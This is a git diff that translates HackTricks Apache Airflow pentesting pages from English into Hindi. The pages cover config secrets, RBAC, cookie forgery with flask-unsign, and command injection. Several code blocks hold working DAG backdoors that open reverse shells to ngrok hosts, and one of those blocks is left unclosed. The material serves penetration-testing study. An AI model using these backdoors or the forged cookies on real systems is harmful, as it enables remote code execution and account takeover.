mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 04:05:09 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -4,20 +4,19 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
[**Apache Airflow**](https://airflow.apache.org) **डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है**। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जिनमें व्यापार बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं।
|
||||
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
बुनियादी रूप से, Apache Airflow आपको **कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ** (घटना, क्रोन) **होगा**।
|
||||
|
||||
### Local Lab
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
आप **https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml** से **docker-compose कॉन्फ़िग फ़ाइल का उपयोग कर सकते हैं** ताकि एक पूर्ण apache airflow docker वातावरण लॉन्च किया जा सके। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)।
|
||||
|
||||
#### Minikube
|
||||
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
**apache airflow को चलाने का एक आसान तरीका** इसे **minikube के साथ चलाना है**:
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
Airflow अपनी कॉन्फ़िगरेशन में **संवेदनशील जानकारी** संग्रहीत कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
@@ -38,7 +36,7 @@ airflow-configuration.md
|
||||
|
||||
### Airflow RBAC
|
||||
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
Airflow पर हमला करने से पहले आपको **अनुमतियों का काम कैसे होता है** समझना चाहिए:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
@@ -48,55 +46,52 @@ airflow-rbac.md
|
||||
|
||||
#### Web Console Enumeration
|
||||
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
यदि आपके पास **वेब कंसोल तक पहुंच** है, तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुंच सकते हैं:
|
||||
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
- **Variables** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है)
|
||||
- **Connections** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है)
|
||||
- उन्हें `http://<airflow>/connection/list/` में एक्सेस करें
|
||||
- [**Configuration**](./#airflow-configuration) (संवेदनशील जानकारी जैसे **`secret_key`** और पासवर्ड यहां संग्रहीत किए जा सकते हैं)
|
||||
- **उपयोगकर्ताओं और भूमिकाओं** की सूची
|
||||
- **प्रत्येक DAG का कोड** (जिसमें दिलचस्प जानकारी हो सकती है)
|
||||
|
||||
#### Retrieve Variables Values
|
||||
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
Variables को Airflow में संग्रहीत किया जा सकता है ताकि **DAGs** उनके मानों को **एक्सेस** कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास **पर्याप्त अनुमतियाँ** हैं, तो आप उन्हें GUI में `http://<airflow>/variable/list/` में एक्सेस कर सकते हैं।\
|
||||
Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाँकि, [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार, यह संभव है कि **वेरिएबल्स की एक सूची** सेट की जाए जिनका **मान** **अतिरिक्त चिह्नों** के रूप में **GUI** में दिखाई देगा।
|
||||
|
||||
.png>)
|
||||
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
हालांकि, ये **मान** अभी भी **CLI** के माध्यम से **प्राप्त** किए जा सकते हैं (आपको DB एक्सेस की आवश्यकता है), **मनमाने DAG** निष्पादन, **API** के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और **यहां तक कि GUI स्वयं!**\
|
||||
GUI से उन मानों तक पहुंचने के लिए बस **वेरिएबल्स का चयन करें** जिन्हें आप एक्सेस करना चाहते हैं और **Actions -> Export** पर क्लिक करें।\
|
||||
एक और तरीका है **छिपे हुए मान** पर **ब्रूटफोर्स** करना, इसे **खोज फ़िल्टरिंग** का उपयोग करके तब तक करें जब तक आप इसे प्राप्त न कर लें:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
|
||||
यदि **`expose_config`** कॉन्फ़िगरेशन **True** पर सेट है, तो **भूमिका उपयोगकर्ता** और **ऊपर** से **वेब में कॉन्फ़िग** को **पढ़** सकते हैं। इस कॉन्फ़िगरेशन में, **`secret_key`** प्रकट होता है, जिसका अर्थ है कि इस मान्य के साथ कोई भी उपयोगकर्ता **अपना स्वयं का हस्ताक्षरित कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके**।
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG बैकडोर (Airflow कार्यकर्ता में RCE)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
यदि आपके पास **लिखने की अनुमति** है जहाँ **DAGs सहेजे जाते हैं**, तो आप बस **एक बना सकते हैं** जो आपको एक **रिवर्स शेल** भेजेगा।\
|
||||
ध्यान दें कि यह रिवर्स शेल एक **airflow कार्यकर्ता कंटेनर** के अंदर निष्पादित होने वाला है:
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -105,75 +100,66 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG बैकडोर (Airflow शेड्यूलर में RCE)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
यदि आप कुछ को **कोड की जड़ में निष्पादित करने के लिए सेट करते हैं**, तो इस लेखन के क्षण में, इसे **शेड्यूलर द्वारा निष्पादित किया जाएगा** DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद।
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
|
||||
#### DAG Creation
|
||||
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
यदि आप **DAG क्लस्टर के अंदर एक मशीन को समझौता करने में सफल होते हैं**, तो आप `dags/` फ़ोल्डर में नए **DAGs स्क्रिप्ट** बना सकते हैं और ये **DAG क्लस्टर के अंदर बाकी मशीनों में दोहराए जाएंगे**।
|
||||
|
||||
#### DAG Code Injection
|
||||
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
जब आप GUI से एक DAG को निष्पादित करते हैं, तो आप इसे **आर्गुमेंट्स** पास कर सकते हैं।\
|
||||
इसलिए, यदि DAG सही तरीके से कोडित नहीं है, तो यह **कमांड इंजेक्शन के लिए संवेदनशील हो सकता है।**\
|
||||
यही इस CVE में हुआ: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
आपको **DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ जानने की आवश्यकता है, वह यह है कि** **पैरामीटर्स** **कोड** **`dag_run.conf.get("param_name")`** के साथ **एक्सेस** किए जाते हैं।
|
||||
|
||||
इसके अलावा, वही संवेदनशीलता **वेरिएबल्स** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में **वेरिएबल्स के मान को नियंत्रित कर सकते हैं**)। वेरिएबल्स को **एक्सेस किया जाता है**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
यदि उन्हें उदाहरण के लिए एक bash कमांड के अंदर उपयोग किया जाता है, तो आप एक कमांड इंजेक्शन कर सकते हैं।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,112 +4,102 @@
|
||||
|
||||
## Configuration File
|
||||
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
**Apache Airflow** सभी एयरफ्लो मशीनों में एक **config file** उत्पन्न करता है जिसे **`airflow.cfg`** कहा जाता है, जो एयरफ्लो उपयोगकर्ता के होम में होता है। यह config file कॉन्फ़िगरेशन जानकारी रखती है और **दिलचस्प और संवेदनशील जानकारी हो सकती है।**
|
||||
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
**इस फ़ाइल तक पहुँचने के दो तरीके हैं: कुछ एयरफ्लो मशीन को समझौता करके, या वेब कंसोल तक पहुँचकर।**
|
||||
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
ध्यान दें कि **config file के अंदर के मान** **वास्तव में उपयोग किए गए नहीं हो सकते**, क्योंकि आप उन्हें `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` जैसे env वेरिएबल सेट करके ओवरराइट कर सकते हैं।
|
||||
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
यदि आपके पास **वेब सर्वर में config file तक पहुँच है**, तो आप उसी पृष्ठ पर **वास्तविक चल रही कॉन्फ़िगरेशन** की जांच कर सकते हैं जहाँ config प्रदर्शित होता है।\
|
||||
यदि आपके पास **एयरफ्लो वातावरण के अंदर किसी मशीन तक पहुँच है**, तो **पर्यावरण** की जांच करें।
|
||||
|
||||
Some interesting values to check when reading the config file:
|
||||
config file पढ़ते समय जांचने के लिए कुछ दिलचस्प मान:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
- **`access_control_allow_headers`**: यह **CORS** के लिए **अनुमत** **हेडर** को इंगित करता है
|
||||
- **`access_control_allow_methods`**: यह **CORS** के लिए **अनुमत विधियों** को इंगित करता है
|
||||
- **`access_control_allow_origins`**: यह **CORS** के लिए **अनुमत मूल** को इंगित करता है
|
||||
- **`auth_backend`**: [**दस्तावेज़ों के अनुसार**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) कुछ विकल्प हो सकते हैं यह निर्धारित करने के लिए कि कौन API तक पहुँच सकता है:
|
||||
- `airflow.api.auth.backend.deny_all`: **डिफ़ॉल्ट रूप से कोई भी** API तक पहुँच नहीं सकता
|
||||
- `airflow.api.auth.backend.default`: **सभी** बिना प्रमाणीकरण के इसे एक्सेस कर सकते हैं
|
||||
- `airflow.api.auth.backend.kerberos_auth`: **केरबेरस प्रमाणीकरण** कॉन्फ़िगर करने के लिए
|
||||
- `airflow.api.auth.backend.basic_auth`: **बुनियादी प्रमाणीकरण** के लिए
|
||||
- `airflow.composer.api.backend.composer_auth`: कंपोज़र्स प्रमाणीकरण (GCP) का उपयोग करता है ( [**यहां**](https://cloud.google.com/composer/docs/access-airflow-api) से)।
|
||||
- `composer_auth_user_registration_role`: यह **भूमिका** को इंगित करता है जो **कंपोज़र उपयोगकर्ता** को **एयरफ्लो** के अंदर मिलेगी (**Op** डिफ़ॉल्ट रूप से)।
|
||||
- आप **पायथन** के साथ अपना खुद का प्रमाणीकरण विधि भी **बना सकते हैं**।
|
||||
- **`google_key_path`:** **GCP सेवा खाता कुंजी** का पथ
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
- **`password`**: एटलस पासवर्ड
|
||||
- **`username`**: एटलस उपयोगकर्ता नाम
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
- **`flower_basic_auth`** : क्रेडेंशियल (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: पोस्टग्रेस यूआरएल जिसमें **क्रेडेंशियल** हो सकते हैं।
|
||||
- **`ssl_cacert`**: कैसर्ट का पथ
|
||||
- **`ssl_cert`**: प्रमाणपत्र का पथ
|
||||
- **`ssl_key`**: कुंजी का पथ
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
- **`dag_discovery_safe_mode`**: डिफ़ॉल्ट रूप से सक्षम। DAGs की खोज करते समय, किसी भी फ़ाइल को अनदेखा करें जिसमें `DAG` और `airflow` स्ट्रिंग्स नहीं हैं।
|
||||
- **`fernet_key`**: एन्क्रिप्टेड वेरिएबल्स को स्टोर करने के लिए कुंजी (संपूर्ण)
|
||||
- **`hide_sensitive_var_conn_fields`**: डिफ़ॉल्ट रूप से सक्षम, कनेक्शनों की संवेदनशील जानकारी छिपाएं।
|
||||
- **`security`**: किस सुरक्षा मॉड्यूल का उपयोग करना है (उदाहरण के लिए केरबेरस)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
- **`tls_ca`**: ca का पथ
|
||||
- **`tls_cert`**: प्रमाणपत्र का भाग
|
||||
- **`tls_key`**: tls कुंजी का भाग
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
- **`ccache`**: ccache फ़ाइल का पथ
|
||||
- **`forwardable`**: डिफ़ॉल्ट रूप से सक्षम
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
- **`google_key_path`**: GCP JSON क्रेड्स का पथ।
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
- **`backend`**: सक्रिय करने के लिए रहस्यों के बैकएंड का पूरा वर्ग नाम
|
||||
- **`backend_kwargs`**: backend_kwargs पैरामीटर को एक शब्दकोश में लोड किया जाता है और रहस्यों के बैकएंड वर्ग के **init** में पास किया जाता है।
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
- **`smtp_password`**: SMTP पासवर्ड
|
||||
- **`smtp_user`**: SMTP उपयोगकर्ता
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
- **`cookie_samesite`**: डिफ़ॉल्ट रूप से यह **Lax** है, इसलिए यह पहले से ही सबसे कमजोर संभव मान है
|
||||
- **`cookie_secure`**: सत्र कुकी पर **सुरक्षित ध्वज** सेट करें
|
||||
- **`expose_config`**: डिफ़ॉल्ट रूप से False है, यदि सत्य है, तो **config** को वेब **कंसोल** से **पढ़ा** जा सकता है
|
||||
- **`expose_stacktrace`**: डिफ़ॉल्ट रूप से यह सत्य है, यह **पायथन ट्रेसबैक** दिखाएगा (संभावित रूप से हमलावर के लिए उपयोगी)
|
||||
- **`secret_key`**: यह **कुंजी है जिसका उपयोग फ्लास्क कुकीज़ पर हस्ताक्षर करने के लिए किया जाता है** (यदि आपके पास यह है तो आप **एयरफ्लो में किसी भी उपयोगकर्ता का अनुकरण कर सकते हैं**)
|
||||
- **`web_server_ssl_cert`**: **SSL** **प्रमाणपत्र** का **पथ**
|
||||
- **`web_server_ssl_key`**: **SSL** **कुंजी** का **पथ**
|
||||
- **`x_frame_enabled`**: डिफ़ॉल्ट **सत्य** है, इसलिए डिफ़ॉल्ट रूप से क्लिकजैकिंग संभव नहीं है
|
||||
|
||||
### Web Authentication
|
||||
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
|
||||
डिफ़ॉल्ट रूप से **वेब प्रमाणीकरण** फ़ाइल **`webserver_config.py`** में निर्दिष्ट है और इसे इस प्रकार कॉन्फ़िगर किया गया है
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
जिसका मतलब है कि **प्रमाणीकरण डेटाबेस के खिलाफ जांचा जाता है**। हालाँकि, अन्य कॉन्फ़िगरेशन संभव हैं जैसे
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
**तीसरे पक्ष की सेवाओं** को **प्रमाणीकरण** छोड़ने के लिए।
|
||||
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
हालांकि, **गुमनाम उपयोगकर्ताओं को पहुंच** की अनुमति देने का एक विकल्प भी है, निम्नलिखित पैरामीटर को **चाहे गए भूमिका** पर सेट करना:
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,44 +4,40 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow डिफ़ॉल्ट रूप से **भूमिकाओं का एक सेट** प्रदान करता है: **Admin**, **User**, **Op**, **Viewer**, और **Public**। **केवल `Admin`** उपयोगकर्ता **अन्य भूमिकाओं के लिए अनुमतियों को कॉन्फ़िगर/बदल सकते हैं**। लेकिन यह अनुशंसित नहीं है कि `Admin` उपयोगकर्ता इन डिफ़ॉल्ट भूमिकाओं को किसी भी तरह से बदलें, जैसे कि इन भूमिकाओं से अनुमतियों को हटाना या जोड़ना।
|
||||
|
||||
- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
- **`Admin`** उपयोगकर्ताओं के पास सभी संभावित अनुमतियाँ होती हैं।
|
||||
- **`Public`** उपयोगकर्ताओं (गुमनाम) के पास कोई अनुमतियाँ नहीं होती हैं।
|
||||
- **`Viewer`** उपयोगकर्ताओं के पास सीमित दर्शक अनुमतियाँ होती हैं (केवल पढ़ने के लिए)। यह **कॉन्फ़िगरेशन नहीं देख सकता।**
|
||||
- **`User`** उपयोगकर्ताओं के पास `Viewer` अनुमतियाँ होती हैं और अतिरिक्त उपयोगकर्ता अनुमतियाँ होती हैं जो उन्हें DAGs को थोड़ा प्रबंधित करने की अनुमति देती हैं। वह **कॉन्फ़िगरेशन फ़ाइल देख सकता है।**
|
||||
- **`Op`** उपयोगकर्ताओं के पास `User` अनुमतियाँ होती हैं और अतिरिक्त ऑप अनुमतियाँ होती हैं।
|
||||
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
ध्यान दें कि **admin** उपयोगकर्ता **अधिक भूमिकाएँ** बना सकते हैं जिनमें अधिक **सूक्ष्म अनुमतियाँ** होती हैं।
|
||||
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
यह भी ध्यान दें कि केवल डिफ़ॉल्ट भूमिका जिसमें **उपयोगकर्ताओं और भूमिकाओं की सूची बनाने की अनुमति है, वह Admin है, न कि Op** ऐसा करने में सक्षम होगा।
|
||||
|
||||
### Default Permissions
|
||||
|
||||
These are the default permissions per default role:
|
||||
ये डिफ़ॉल्ट भूमिकाओं के लिए डिफ़ॉल्ट अनुमतियाँ हैं:
|
||||
|
||||
- **Admin**
|
||||
|
||||
